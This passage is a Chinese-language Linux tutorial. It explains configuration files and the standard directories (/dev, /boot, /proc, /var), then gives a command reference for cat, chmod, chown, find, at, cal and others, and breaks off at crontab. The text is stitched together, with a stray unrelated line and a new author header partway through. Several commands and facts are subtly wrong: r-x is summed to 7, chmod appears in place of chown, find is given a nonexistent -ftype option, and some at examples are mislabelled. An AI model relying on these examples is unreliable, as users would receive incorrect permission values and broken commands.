本文件为mail server的重要设定档，sendmial是一种mta，目前在unix或linux上使用相当广泛，由柏克莱大学大学生所写的程序，功能强大，但sendmail.cf内容由宏指令写成较为艰涩难懂，因此一般除伪装名称、主机的别名、收信的主机位置名称等少数项目由sendmail.cf文件直接于其中设定外，一般而言，均另用m4产生sendmail.cf的宏定义档，redhat版本名称为/etc/sendmail.mc ，openlinux版本则放在/usr/share/sendmail/cf/cf/gerneric-col2.2.mc；此外/etc/aliases、/etc/access、/etc/mail/relay-domains亦为sendmail的相关设定檔。

(37) services
一般而言linux或unix的操作系统port号码常定义在/etc/services文件中由port号码可辨示出application process(应用程序行程)即网络服务例如ftp、telnet；在services文件中256以下port号码保留给常用的网络服务，256到1024的port号码则由特定的linux服务使用，另不同的transport layer(传输层)可以共享相同的port号码；port号码必须与协议号码共同搭配始能将资料导引到正确的网络服务。

(38) shadow
shadow passwording将密码移到另一个文件，本文件即属密码文件而与/etc/passwd搭配；权限上则较为严格，一般而言，仅有root有读写(caldera distribution)或读(redhat distribution)的权利。

(39) skel
本目录下之文件内容例如:.bash_logout、.bash_profile、.bashrc、.kde、.kderc、.netscape、.screenrc、destop等即是用来在建立一新的使用者时在/home/目录下的使用者名称目录的内容即烤贝至skel此目录下之文件内容。

(40) sysconfig/network-sccripts/ifcfg-eth?
本文件为网络卡的设定档内容有设备名称、ip地址、屏蔽、广播地址、网段、开机激活设定等项目。

(41) wgetrc
wget乃使用来将world wide web上之文件取回之工具指令，wgetrc文件则是wget初始化的文件其中有quota、mail header、重传文件的预设次数、firewall及proxy的相关设定。

(42) z*
以下z开头的文件均为zshell相关的设定档zlogin系指z shell的登入设定；zlogout系指z shell的注销设定；zprofile系指z shell的使用者设定；zshenv系指z shell的使用环境设定；zshrc系指z shell的资源档设定。

2./dev:
本目录中存放了device file(装置文件)，使用者可以经由核心用来存取系统中之硬设备，当使用装置文件时 核心会辨识出i/o request传递到相对应装置的驱动程序以便完成特定的动作；每个装置在/dev目录下均有一个相对应的项目；另/dev目录下尚有一些项目是没有的装置这通常是安装系统时所建立的，它不一定对应到实体的硬件装置；此外亦有一些虚拟的装置，不对应到任何实体装置，例如俗称黑洞装置的/dev/null，任何写入该档的请求均会被执行但被写入的资料均会如进入黑洞般的消失无踪。
在/dev目录下第一栏的文件型态会发现常存有既非directory亦非file而是“b”或”c”，”b”指block device file(区块装置文件)，”c”指character device(字符装置文件)；区块装置(例如硬盘)通常是外接装置，资料的读写都是以整个区块的形式进行读写，字符装置(例如串行端口)，资料的读写都是以一个byte来进行读写。

(1) /dev/fd*
fd0、fd1--------等指第几个软盘支持的装置驱动接口，fd0表示第一个fd1表示第二个。

(2) /dev/hd
系指ide硬盘的装置驱动接口，在/dev/lilo.conf设定中boot=/dev/hda即指整颗硬盘，/dev/hda1则指硬盘中的第一个partition。

(3) /dev/sd
系指scsi磁盘的装置驱动接口。

(4) /dev/console
系指系统的操作控制台乃实际连接到linux操作系统的屏幕。

(5) /dev/tty
系指提供使用者不同的terminal操作控制台的装置驱动接口，并有virtual console的功能切换上可使用ctrl+alt+f1~f6。

(6) /dev/ttys?
ttys系指串行端口接口ttys0即为com1，ttys1即为com2

3./boot:
本目录下放置有系统激活的相关文件例如initrd.img、vmlinuz、system.map，均为重要的文件，是以本目录不可任意删除。

initrd.img为系统激活时最先加载的文件。

vmlinuz即为kernel的image文件。

system.map包括了kernel的功能及位置。top、ps指令会去读此文件来显示系统目前的信息状态。因此system.map必须对应到相同的kernel，不然会显示错误的信息。

4./home:
一般而言，使用者的家目录就($home)是放在/home这个目录下，而以使用者名称作为/home目录下各个目录的名称例如使用者col的家目录路径即为/home/col目录下当使用者col login时，其所在的目录即为/home/col，此外ftp站台目录(ftp)及web站台目录(httpd)亦置于/home目录下。

5./lib:
许多系统激活时所需要用到重要的共享函式库shared libraries均放于此，包含最重要的gnu c library在内，凡档名为library.so.version的共享函式库，通常放在/lib目录下。

/usr/lib/:
本目录与/lib目录不同的是/lib乃系统激活时所需要用到重要的共享函式库而/usr/lib乃关于应用软件常置放函式库之处；例如放置一些其它应用程序(如netscape、x server)等的share libraries。其中，最重要的函式库为libc或glibc (glibc 2.x便是libc 6.x版本，标准c语言函式库)。几乎所有程序都会用到libc或glibc，因为这两个程序提供了对于linux kernel的标准接口。又档名为library.a的静态函式库，通常亦放在/usr/lib目录下。

6./lost+found:
一般重启或关闭system，可下sync;sync.避免有些message会留在硬盘之cache上，此时dirty bit为1，当再开机时，system会去检查每一个dirtybit是否为0，如果为1则会执行fsck。作fsck时，常会问要否删除dirtybit，如选yes时，会把inode集中放在lost+found?用file 指令去查寻，不重要再行删除即可（inode number）。简单言之，本目录乃记录硬盘上的partition于资料流失时作fsck寻找回来的遗失文件片段。

7./mnt:
本目录为系统内定的mount point(挂载点)，预设则有/nnt/cdrom和/mnt/floppy，使用自动的挂载程序例如kde桌面上的cdrom与floppy或者gnome的drive mount applet，均会自动地把光驱和软盘机挂载至这二个目录。如果要挂加载额外的文件系统，一般而言我们都会将/mnt目录当作挂载点，然后在该目录下建立任一目录名称作为挂载目录；家目录把同一颗硬盘上的另一个window 2000操作系统mount到本机linux操作系统上则可用此法。

8./proc:
本目录为一个虚拟的文件系统，其功能乃在统一文件与行程，它不占用任何硬盘空间，因为该目录下的文件均放置于内存内；每当你存取/proc文件系统时kernel会拦截你的存取动作撷取相关信息再动态的产生目录与文件内容。
本目录下主要有二大形态的文件；其一是以pid数字为文件名，/proc会记录系统每个行程，有助于系统的管理于与除错；其二乃kernel所搜集到的系统使用的硬件信息例如/proc/ioports、/proc/dma、/proc/meminfo、/proc/interrupts均属之。

9./root:
本目录为系统管理者 root的家目录。

10./bin:
bin为binary的简写主要放置一些系统的必备执行文件例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。

/usr/bin:
主要放置一些应用软件工具的必备执行文件例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。

/sbin:
主要放置一些系统管理的必备程序例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、runlevel、shutdown等。

/usr/sbin:
放置一些网络管理的必备程序例如hcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。

11./tmp:
本目录乃供全体使用者暂时放文件的目录，有时某些应用程序执行中产生的临时文件亦会暂放至此目录；然而系统预设本目录权限为可读、写、执行但无法删除之1777(drwxrwxrwt)亦即多加上save program text on swap device即t 的权限；以避免有人任意删除他人存放于/tmp目录的文件。

12./var:
linux操作系统经常需要变动的或暂存的资料常放在固定的目录而后系统新产生的资料都会在这个文件中作更新；在这个目录下有几个重要的目录例如:/var/log；/var/spool；/var/run等以下兹分别介绍之:

(1) /var/log
log文件乃记载着linux操作系统运作过程的记录分别有激活纪录(boot)、网站存取、错误、安全记录(httpd/access_log、httpd/error_log、httpd/ssl*)、邮件记录(maillog)、登入讯息(secure)、ftp讯息(xferlog)。

(2) /var/spool
spool乃linux操作系统将工作暂放置于内存特定区域或硬盘上特定设备，/var/spool是一个队列目录提供spool服务，其底下最为重要的目录即为lpd、mail、squid等三个目录；打印文件的print queue会在/var/spool/lpd。
——————————
送给你我思念的手


linux指令大全

作者：Candace(美）

    名称：cat
使用权限：所有使用者
使用方式：cat [-AbeEnstTuv] [--help] [--version] fileName
说明：把档案串连接后传到基本输出（萤幕或加 > fileName 到另一个档案）
参数：
-n 或 --number 由 1 开始对所有输出的行数编号
-b 或 --number-nonblank 和 -n 相似，只不过对于空白行不编号
-s 或 --squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行
-v 或 --show-nonprinting

范例：
cat -n textfile1 > textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里
cat -b textfile1 textfile2 >> textfile3 把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到 textfile3

名称 : cd
使用权限 : 所有使用者

使用方式 : cd [dirName]

说明 : 变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的 home directory (也就是刚 login 时所在的目录)。

另外，"~" 也表示为 home directory 的意思，"." 则是表示目前所在的目录，".." 则表示目前目录位置的上一层目录。

范例 : 跳到 /usr/bin/ :
cd /usr/bin

跳到自己的 home directory :
cd ~

跳到目前目录的上上两层 :
cd ../..

指令名称 : chmod
使用权限 : 所有使用者

使用方式 : chmod [-cfvR] [--help] [--version] mode file...

说明 : Linux/Unix 的档案存取权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所存取。

把计 :

mode : 权限设定字串，格式如下 : [ugoa...][[+-=][rwxX]...][,...]，其中u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。
+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
-c : 若该档案权限确实已经更改，才显示其更改动作
-f : 若该档案权限无法被更改也不要显示错误讯息
-v : 显示权限变更的详细资料
-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help : 显示辅助说明
--version : 显示版本

范例 :将档案 file1.txt 设为所有人皆可读取 :
chmod ugo+r file1.txt

将档案 file1.txt 设为所有人皆可读取 :
chmod a+r file1.txt

将档案 file1.txt 与 file2.txt 设为该档案拥有者，与其所属同一个群体者可写入，但其他以外的人则不可写入 :
chmod ug+w,o-w file1.txt file2.txt

将 ex1.py 设定为只有该档案拥有者可以执行 :
chmod u+x ex1.py

将目前目录下的所有档案与子目录皆设为任何人可读取 :
chmod -R a+r *

此外chmod也可以用数字来表示权限如 chmod 777 file
语法为：chmod abc file

其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。

r=4，w=2，x=1
若要rwx属性则4+2+1=7；
若要rw-属性则4+2=6；
若要r-x属性则4+1=7。

范例：
chmod a=rwx file

和
chmod 777 file

效果相同
chmod ug=rwx,o=x file

和
chmod 771 file

效果相同

若用chmod 4755 filename可使此程式具有root的权限

指令名称 : chown
使用权限 : root

使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file...

说明 : Linux/Unix 是多人多工作业系统，所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说，这个指令只有是由系统管理者(root)所使用，一般使用者没有权限可以改变别人的档案拥有者，也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。

把计 :

user : 新的档案拥有者的使用者 IDgroup : 新的档案拥有者的使用者群体(group)-c : 若该档案拥有者确实已经更改，才显示其更改动作-f : 若该档案拥有者无法被更改也不要显示错误讯息-h : 只对于连结(link)进行变更，而非该 link 真正指向的档案-v : 显示拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)--help : 显示辅助说明--version : 显示版本

范例 :
将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie :
chown jessie:users file1.txt

将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport :
chmod -R lamport:users *

名称：cp
使用权限：所有使用者

使用方式：

cp [options] source dest
cp [options] source... directory

说明：将一个档案拷贝至另一档案，或将数个档案拷贝至另一目录。

把计

-a 尽可能将档案状态、权限等资料都照原状予以复制。
-r 若 source 中含有目录名，则将目录下之档案亦皆依序拷贝至目的地。
-f 若目的地已经有相同档名的档案存在，则在复制前先予以删除再行复制。
范例：
将档案 aaa 复制(已存在)，并命名为 bbb :
cp aaa bbb

将所有的C语言程式拷贝至 Finished 子目录中 :
cp *.c Finished

名称：cut

使用权限：所有使用者

用法：cut -cnum1-num2 filename

说明：显示每行从开头算起 num1 到 num2 的文字。

范例：

shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print 开头算起前 6 个字元
test2
this i

名称 : find
用法 : find
使用说明 :

将档案系统内符合 expression 的档案列出来。你可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合，只有完全相符的才会被列出来。

find 根据下列规则判断 path 和 expression，在命令列上第一个 - ( ) , ! 之前的部份为 path，之后的是 expression。如果 path 是空字串则使用目前路径，如果 expression 是空字串则使用 -print 为预设 expression

expression 中可使用的选项有二三十个之多，在此只介绍最常用的部份。

-mount, -xdev : 只检查和指定目录在同一个档案系统下的档案，避免列出其它档案系统中的档案
-amin n : 在过去 n 分钟内被读取过
-anewer file : 比档案 file 更晚被读取过的档案
-atime n : 在过去 n 天过读取过的档案
-cmin n : 在过去 n 分钟内被修改过
-cnewer file :比档案 file 更新的档案
-ctime n : 在过去 n 天过修改过的档案
-empty : 空的档案-gid n or -group name : gid 是 n 或是 group 名称是 name
-ipath p, -path p : 路径名称符合 p 的档案，ipath 会忽略大小写
-name name, -iname name : 档案名称符合 name 的档案。iname 会忽略大小写
-size n : 档案大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。-type c : 档案类型是 c 的档案。
d: 目录
c: 字型装置档案
b: 区块装置档案
p: 具名贮列
f: 一般档案
l: 符号连结
s: socket
-pid n : process id 是 n 的档案

你可以使用 ( ) 将运算式分隔，并使用下列运算。
exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
范例:
将目前目录及其子目录下所有延伸档名是 c 的档案列出来。
# find . -name "*.c"

将目前目录其其下子目录中所有一般档案列出
# find . -ftype f

将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出
# find . -ctime -20

名称：less

使用权限：所有使用者

使用方式：

less [Option] filename

说明：
less 的作用与 more 十分相似，都可以用来浏览文字档案的内容，不同的是 less 允许使用者往回卷动
以浏览已经看过的部份，同时因为 less 并未在一开始就读入整个档案，因此在遇上大型档案的开启时，会比一般的文书编辑器(如 vi)来的快速。

范例：

指令名称 : ln
使用权限 : 所有使用者

使用方式 : ln [options] source dist，其中 option 的格式为 :

[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
说明 : Linux/Unix 档案系统中，有所谓的连结(link)，我们可以将其视为档案的别名，而连结又可分为两种 : 硬连结(hard link)与软连结(symbolic link)，硬连结的意思是一个档案可以有多个名称，而软连结的方式则是产生一个特殊的档案，该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中，而软连结却可以跨越不同的档案系统。
ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。

不论是硬连结或软链结都不会将原本的档案复制一份，只会占用非常少量的磁碟空间。

-f : 链结时先将与 dist 同档名的档案删除-d : 允许系统管理者硬链结自己的目录-i : 在删除与 dist 同档名的档案时先进行询问-n : 在进行软连结时，将 dist 视为一般的档案-s : 进行软链结(symbolic link)-v : 在连结之前显示其档名-b : 将在链结时会被覆写或删除的档案进行备份-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾-V METHOD : 指定备份的方式--help : 显示辅助说明--version : 显示版本
范例 :
将档案 yy 产生一个 symbolic link : zz
ln -s yy zz

将档案 yy 产生一个 hard link : zz
ln yy xx

名称：locate
使用权限：所有使用者
使用方式： locate [-q] [-d ] [--database=]
locate [-r ] [--regexp=]
locate [-qv] [-o ] [--output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [--version] [--help]
说明：
locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库，之后当寻找时就只需查询这个资料库，而不必实际深入档案系统之中了。

在一般的 distribution 之中，资料库的建立都被放在 contab 中自动执行。一般使用者在使用时只要用

# locate your_file_name

的型式就可以了。 参数：
-u
-U

建立资料库，-u 会由根目录开始，-U 则可以指定开始的位置。

-e

将
排除在寻找的范围之外。

-l
如果 是 1．则启动安全模式。在安全模式下，使用者不会看到权限无法看到的档案。这会始速度减慢，因为 locate 必须至实际的档案系统中取得档案的权限资料。

-f
将特定的档案系统排除在外，例如我们没有到理要把 proc 档案系统中的档案放在资料库中。

-q
安静模式，不会显示任何错误讯息。

-n
至多显示 个输出。

-r
使用正规运算式 做寻找的条件。

-o
指定资料库存的名称。

-d

指定资料库的路径

-h
显示辅助讯息

-v
显示更多的讯息

-V
显示程式的版本讯息 范例：

locate chdrv : 寻找所有叫 chdrv 的档案
locate -n 100 a.out : 寻找所有叫 a.out 的档案，但最多只显示 100 个
locate -u : 建立资料库

名称 : ls
使用权限 : 所有使用者

使用方式 : ls [-alrtAFR] [name...]

说明 : 显示指定工作目录下之内容（列出目前工作目录所含之档案及子目录)。

-a 显示所有档案及目录 (ls内定将档案名或目录名称开头为"."的视为隐藏档，不会列出)
-l 除档案名称外，亦将档案型态、权限、拥有者、档案大小等资讯详细列出
-r 将档案以相反次序显示(原定依英文字母次序)
-t 将档案依建立时间之先后次序列出
-A 同 -a ，但不列出 "." (目前目录) 及 ".." (父目录)
-F 在列出的档案名称后加一符号；例如可执行档则加 "*", 目录则加 "/"
-R 若目录下有档案，则以下之档案亦皆依序列出

范例：
列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面 :
ls -ltr s*

将 /bin 目录以下所有目录及档案详细资料列出 :
ls -lR /bin

列出目前工作目录下所有档案及目录；目录于名称后加 "/", 可执行档于名称后加 "*" :
ls -AF

名称：more
使用权限：所有使用者
使用方式：more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
说明：类似 cat ，不过会以一页一页的显示方便使用者逐页阅读，而最基本的指令就是按空白键（space）就往下一页显示，按 b 键就会往回（back）一页显示，而且还有搜寻字串的功能（与 vi 相似），使用中的说明文件，请按 h 。
参数：-num 一次显示的行数
-d 提示使用者，在画面下方显示 [Press space to continue, q to quit.] ，如果使用者按错键，则会显示 [Press h for instructions.] 而不是 哔 声
-l 取消遇见特殊字元 ^L（送纸字元）时会暂停的功能
-f 计算行数时，以实际上的行数，而非自动换行过后的行数（有些单行字数太长的会被扩展为两行或两行以上）
-p 不以卷动的方式显示每一页，而是先清除萤幕后再显示内容
-c 跟 -p 相似，不同的是先显示内容再清除其他旧资料
-s 当遇到有连续两行以上的空白行，就代换为一行的空白行
-u 不显示下引号 （根据环境变数 TERM 指定的 terminal 而有所不同）
+/ 在每个档案显示前搜寻该字串（pattern），然后从该字串之后开始显示
+num 从第 num 行开始显示
fileNames 欲显示内容的档案，可为复数个数
范例：
more -s testfile 逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。
more +20 testfile 从第 20 行开始显示 testfile 之档案内容。

名称：mv
使用权限：所有使用者

使用方式：

mv [options] source dest
mv [options] source... directory
说明：将一个档案移至另一档案，或将数个档案移至另一目录。
参数：-i 若目的地已有同名档案，则先询问是否覆盖旧档。

范例：

将档案 aaa 更名为 bbb :
mv aaa bbb

将所有的C语言程式移至 Finished 子目录中 :
mv -i *.c

名称：rm
使用权限：所有使用者

使用方式：rm [options] name...

说明：删除档案及目录。

把计

-i 删除前逐一询问确认。
-f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。
-r 将目录及以下之档案亦逐一删除。
范例：
删除所有C语言程式档；删除前逐一询问确认 :
rm -i *.c

将 Finished 子目录及子目录中所有档案删除 :
rm -r Finished

名称：rmdir
使用权限：于目前目录有适当权限的所有使用者

使用方式： rmdir [-p] dirName

说明： 删除空的目录。

参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。

范例：

将工作目录下，名为 AAA 的子目录删除 :
rmdir AAA

在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB 目录成为空目录，则 BBB 亦予删除。
rmdir -p BBB/Test

名称：split
使用权限：所有使用者

使用方式：split [OPTION] [INPUT [PREFIX]]

说明：

将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案，其档名依序为 PREFIXaa, PREFIXab...；PREFIX 预设值为 ****x。若没有 INPUT 档或为 ****-，则从标准输入读进资料。

匡兜

-b, --bytes=SIZE

SIZE 值为每一输出档案的大小，单位为 byte。
-C, --line-bytes=SIZE

每一输出档中，单行的最大 byte 数。
-l, --lines=NUMBER

NUMBER 值为每一输出档的列数大小。
-NUMBER

与 -l NUMBER 相同。
--verbose

于每个输出档被开启前，列印出侦错资讯到标准错误输出。
--help

显示辅助资讯然后离开。
--version

列出版本资讯然后离开。
SIZE 可加入单位: b 代表 512， k 代表 1K， m 代表 1 Meg。

范例：

PostgresSQL 大型资料库备份与回存：

因 Postgres 允许表格大过你系统档案的最大容量，所以要将表格 dump 到单一的档案可能会有问题，使用 split进行档案分割。

% pg_dump dbname | split -b 1m - filename.dump.

重新载入

% createdb dbname
% cat filename.dump.* | pgsql dbname

名称：touch
使用权限：所有使用者

使用方式：
touch [-acfm]
[-r reference-file] [--file=reference-file]
[-t MMDDhhmm[[CC]YY][.ss]]
[-d time] [--date=time] [--time={atime,access,use,mtime,modify}]
[--no-create] [--help] [--version]
file1 [file2 ...]

说明：
touch 指令改变档案的时间记录。 ls -l 可以显示档案的时间记录。

参数：
a 改变档案的读取时间记录。
m 改变档案的修改时间记录。
c 假如目的档案不存在，不会建立新的档案。与 --no-create 的效果一样。
f 不使用，是为了与其他 unix 系统的相容性而保留。
r 使用参考档的时间记录，与 --file 的效果一样。
d 设定时间与日期，可以使用各种不同的格式。
t 设定档案的时间记录，格式与 date 指令相同。
--no-create 不会建立新档案。
--help 列出指令格式。
--version 列出版本讯息。

范例：

最简单的使用方式，将档案的时候记录改为现在的时间。若档案不存在，系统会建立一个新的档案。

touch file
touch file1 file2

将 file 的时间记录改为 5 月 6 日 18 点 3 分，公元两千年。时间的格式可以参考 date 指令，至少需输入 MMDDHHmm ，就是月日时与分。

touch -c -t 05061803 file
touch -c -t 050618032000 file

将 file 的时间记录改变成与 referencefile 一样。

touch -r referencefile file

将 file 的时间记录改成 5 月 6 日 18 点 3 分，公元两千年。时间可以使用 am, pm 或是 24 小时的格式，日期可以使用其他格式如 6 May 2000 。

touch -d "6:03pm" file
touch -d "05/06/2000" file
touch -d "6:03pm 05/06/2000" file
名称 : at
使用权限 : 所有使用者

使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME

说明 : at 可以让使用者指定在 TIME 这个特定时刻执行某个程式或指令，TIME 的格式是 HH:MM其中的 HH 为小时，MM 为分钟，甚至你也可以指定 am, pm, midnight, noon, teatime(就是下午 4 点锺)等口语词。

如果想要指定超过一天内的时间，则可以用 MMDDYY 或者 MM/DD/YY 的格式，其中 MM 是分钟，DD 是第几日，YY 是指年份。另外，使用者甚至也可以使用像是 now + 时间间隔来弹性指定时间，其中的时间间隔可以是 minutes, hours, days, weeks

另外，使用者也可指定 today 或 tomorrow 来表示今天或明天。当指定了时间并按下 enter 之后，at 会进入交谈模式并要求输入指令或程式，当你输入完后按下 ctrl+D 即可完成所有动作，至于执行的结果将会寄回你的帐号中。

把计 :

-V : 印出版本编号
-q : 使用指定的伫列(Queue)来储存，at 的资料是存放在所谓的 queue 中，使用者可以同时使用多个 queue，而 queue 的编号为 a, b, c... z 以及 A, B, ... Z 共 52 个
-m : 即使程式/指令执行完成后没有输出结果, 也要寄封信给使用者
-f file : 读入预先写好的命令档。使用者不一定要使用交谈模式来输入，可以先将所有的指定先写入档案后再一次读入
-l : 列出所有的指定 (使用者也可以直接使用 atq 而不用 at -l)
-d : 删除指定 (使用者也可以直接使用 atrm 而不用 at -d)
-v : 列出所有已经完成但尚未删除的指定

例子 :
三天后的下午 5 点锺执行 /bin/ls :
at 5pm + 3 days /bin/ls

三个星期后的下午 5 点锺执行 /bin/ls :
at 5pm + 2 weeks /bin/ls

明天的 17:20 执行 /bin/date :
at 17:20 tomorrow /bin/date

1999 年的最后一天的最后一分钟印出 the end of world !
at 23:59 12/31/1999 echo the end of world !

名称：cal

使用权限：所有使用者

使用方式：cal [-mjy] [month [year]]

说明：

显示日历。若只有一个参数，则代表年份(1-9999)，显示该年的年历。年份必须全部写出：********cal 89 将不会是显示 1989 年的年历。使用两个参数，则表示月份及年份。若没有参数则显示这个月的月历。
1752 年 9 月第 3 日起改用西洋新历，因这时大部份的国家都采用新历，有 10 天被去除，所以该月份的月历有些不同。在此之前为西洋旧历。

匡兜

-m : 以星期一为每周的第一天方式显示。
-j : 以凯撒历显示，即以一月一日起的天数显示。
-y : 显示今年年历。

范例：

cal : 显示本月的月历。

[root@mylinux /root]# date
Tue Aug 15 08:00:18 CST 2000
[root@mylinux /root]# cal
August 2000
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31

[root@mylinux /root]#

cal 2001 : 显示公元 2001 年年历。

[root@mylinux /root]# cal 2001
2001

January February March
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1 2 3
7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10
14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17
21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24
28 29 30 31 25 26 27 28 25 26 27 28 29 30 31

April May June
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 5 1 2
8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9
15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16
22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23
29 30 27 28 29 30 31 24 25 26 27 28 29 30

July August September
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 1
8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8
15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15
22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22
29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29
30
October November December
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1
7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8
14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15
21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22
28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29
30 31

[root@mylinux /root]#

cal 5 2001 : 显示公元 2001 年 5 月月历。

[root@mylinux /root]# cal 5 2001
May 2001
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31

[root@mylinux /root]#

cal -m : 以星期一为每周的第一天方式，显示本月的月历。

[root@mylinux /root]# cal -m
August 2000
Mo Tu We Th Fr Sa Su
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31

[root@mylinux /root]#

cal -jy : 以一月一日起的天数显示今年的年历。

[root@mylinux /root]# cal -jy
2000

January February
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
1 32 33 34 35 36
2 3 4 5 6 7 8 37 38 39 40 41 42 43
9 10 11 12 13 14 15 44 45 46 47 48 49 50
16 17 18 19 20 21 22 51 52 53 54 55 56 57
23 24 25 26 27 28 29 58 59 60
30 31
March April
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
61 62 63 64 92
65 66 67 68 69 70 71 93 94 95 96 97 98 99
72 73 74 75 76 77 78 100 101 102 103 104 105 106
79 80 81 82 83 84 85 107 108 109 110 111 112 113
86 87 88 89 90 91 114 115 116 117 118 119 120
121
May June
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
122 123 124 125 126 127 153 154 155
128 129 130 131 132 133 134 156 157 158 159 160 161 162
135 136 137 138 139 140 141 163 164 165 166 167 168 169
142 143 144 145 146 147 148 170 171 172 173 174 175 176
149 150 151 152 177 178 179 180 181 182

July August
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
183 214 215 216 217 218
184 185 186 187 188 189 190 219 220 221 222 223 224 225
191 192 193 194 195 196 197 226 227 228 229 230 231 232
198 199 200 201 202 203 204 233 234 235 236 237 238 239
205 206 207 208 209 210 211 240 241 242 243 244
212 213
September October
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
245 246 275 276 277 278 279 280 281
247 248 249 250 251 252 253 282 283 284 285 286 287 288
254 255 256 257 258 259 260 289 290 291 292 293 294 295
261 262 263 264 265 266 267 296 297 298 299 300 301 302
268 269 270 271 272 273 274 303 304 305

November December
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
306 307 308 309 336 337
310 311 312 313 314 315 316 338 339 340 341 342 343 344
317 318 319 320 321 322 323 345 346 347 348 349 350 351
324 325 326 327 328 329 330 352 353 354 355 356 357 358
331 332 333 334 335 359 360 361 362 363 364 365
366

[root@mylinux /root]#

名称 : crontab
使用权限 : 所有使用者

使用方式 :

crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }
说明 :
